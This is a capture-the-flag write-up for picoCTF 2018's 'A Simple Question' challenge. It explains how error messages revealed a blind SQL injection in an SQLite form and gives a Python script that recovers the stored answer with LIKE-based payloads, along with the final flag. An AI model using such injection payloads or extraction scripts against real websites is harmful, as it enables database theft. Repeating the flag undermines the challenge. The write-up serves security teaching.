Tags: blindsqli 

Rating: 5.0

This time, we're faced with a single-input form asking for "the answer". I
instantly tried `42`, but no dice. Then a single quote. That triggered an error
message indicating that :

- There is an SQL injection vulnerability
- We're querying an SQLite3 database
- The query is echoed back to us : `SQL query: SELECT * FROM answers WHERE answer='''`

If we try `'OR 1=1 --`, we get the message `You are so close.`. If we try any
random valid string, we get the message `Wrong.`. That indicates that we get
one message if the query returned at least one row (`You are so close.`, in
this first case the always true condition has the database return all rows) and
the other message (`Wrong.`) if the query returns no row : that's a blind SQL
injection.

We can exploit that to get the answer out of the database, using the [`LIKE`
operator](https://sqlite.org/lang_expr.html#like). `LIKE` allows a bit of
fuzzy searching by matching based on an expression rather than than an exact
value. In sqlite, it uses two wildcards :

- `%` : matches 0 or more of any character
- `_` : matches exactly one of any character

Example :

- `ca_` would match "car" or "cap" but not "ca" or "cars"
- `ca%` would match "ca", "car", "cars", or any string that starts with "ca"

So if we built a query using `LIKE` and `%` for every possible character
(` SELECT * FROM answers WHERE answer LIKE 'a%'`, ` SELECT * FROM answers WHERE
answer LIKE 'b%'`, etc.), we would only get the `You are so close.` message if
the answer we're looking for starts with that character. We can then re-iterate
character by character.

Here's the script I wrote to do just that :

_Note : this script uses two external libraries :
[requests](http://docs.python-requests.org/en/master/) for handling HTTP
requests and [colorama](https://pypi.org/project/colorama/) for coloring the
output in the name of cool._

```python
import requests
import string
from colorama import Fore

chars = string.digits + string.ascii_lowercase + string.ascii_uppercase + '{_}'
cr = '\r'

def send(str_):
data = {'answer': str_, 'debug': 1}
r = requests.post('http://2018shell3.picoctf.com:28120/answer2.php', data=data)
return r.text

def inject(payload):
str_ = f"nope' or answer like '{payload}%' --"
resp = send(str_)
if 'Wrong.' in resp:
return False
elif 'You are so close.' in resp:
return True
else:
raise Exception('Unplanned case.')

def guess(current=''):
print(f'{cr}{Fore.CYAN}{current}{Fore.RESET}', end='')
for c in chars:
print(f'{cr}{current}{Fore.YELLOW}{c}{Fore.RESET}', end='')
if inject(current + c):
return guess(current + c)
# we have tried every possible character, so we probably have the answer
return current

print(f'{cr}{Fore.GREEN}{guess()}{Fore.RESET}')
```

If we run it, it finds the value we're looking for after a short while :
`41andsixsixths` (so my first guess wasn't that bad). But there's a catch : the
`LIKE` operator is case insensitive (so the `string.ascii_uppercase` in my
script is actually useless and slows down the search). We need to figure out
the proper capitalization.

There's probably a better way to do it, but I just took a few guesses and found
it's `41AndSixSixths`. If we POST that to the server, we get the flag :
`picoCTF{qu3stions_ar3_h4rd_8f84b784}`.

Original writeup (http://blog.iodbh.net/picoctf2018-web-a-simple-question.html).
PD-1Nov. 3, 2019, 8:09 p.m.

liked it!